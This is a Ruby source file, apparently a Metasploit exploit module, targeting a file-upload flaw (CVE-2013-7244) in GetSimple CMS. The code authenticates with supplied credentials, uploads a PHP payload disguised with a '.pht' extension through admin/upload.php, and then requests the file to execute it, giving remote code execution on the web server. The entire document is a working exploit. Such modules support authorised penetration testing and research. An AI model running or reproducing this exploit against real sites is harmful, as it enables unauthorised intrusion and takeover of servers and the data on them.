Files
metasploit-gs/modules/exploits/multi/http/getsimplecms_upload_exec.rb
T
2014-09-19 16:29:09 -05:00

118 lines
3.8 KiB
Ruby

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/php_exe'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'GetSimpleCMS PHP File Upload Vulnerability',
'Description' => %q{
This module exploits a file upload vulnerability found in GetSimple CMS
By abusing the upload.php file, a malicious authenticated user can upload an arbitrary file to a upload
directory, which results in arbitrary code execution.
},
'Author' =>
[
'Ahmed Elhady Mohamed'
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2013-7244'],
['OSVDB', '93034']
],
'Payload' =>
{
'BadChars' => "\x00",
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
['Generic (PHP Payload)', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 04 2014'
))
register_options([
OptString.new('TARGETURI', [true, 'The full URI path to GetSimplecms', '/GetSimpleCMS']) ,
OptString.new('User', [true, 'The username that will be used for authentication process', '']) ,
OptString.new('Pass', [true, 'The right password for the provided username', '']) ,
OptString.new('Upload_dir', [true, 'The upload directory, where uploaded files are located', '/data/uploads/'])
], self.class)
end
def authenticate_prcoss(peer, uri)
uri = normalize_uri(uri, "admin", "index.php")
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}",
'vars_post' => {
'userid' => "#{datastore['User']}",
'pwd' => "#{datastore['Pass']}",
'submitted' => 'Login'
}
})
fail_with(Failure::Unknown, "#{peer} - Unknown error while authenticating") unless res.code == 302
return res
end
def upload_file(payload_name, uri, cookie_http_header)
data = Rex::MIME::Message.new
data.add_part("<?php #{payload.encoded} ?>", 'application/x-httpd-php', nil, "form-data; name=\"file[]\"; filename=\"#{payload_name}\"")
data.add_part("Upload", nil, nil, "form-data; name=\"submit\"")
data_post = data.to_s
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, "admin", "upload.php"),
'vars_get' => { 'path' =>'' },
'cookie' => cookie_http_header,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data_post
})
return res
end
def exploit
payload_name = rand_text_alpha(rand(10) + 5) + '.pht'
uri = target_uri.path
uri = normalize_uri(uri, '/')
print_status("#{peer} - Using The Provided Credentials for Authentication.")
res = authenticate_prcoss(peer, uri)
print_status("#{peer} - The authentication process is done successfully!")
print_status("#{peer} - Extracting Cookies Information")
cookie_http_header = res.get_cookies
upload_file(payload_name, uri, cookie_http_header)
print_status("#{peer} - Uploading #{payload_name.downcase} File.")
upload_dir = datastore['Upload_dir']
upload_uri = normalize_uri(uri, upload_dir, payload_name.downcase)
print_status("#{peer} - Executing payload #{payload_name.downcase}")
send_request_raw({
'uri' => upload_uri,
'method' => 'GET'
}, 5)
end
end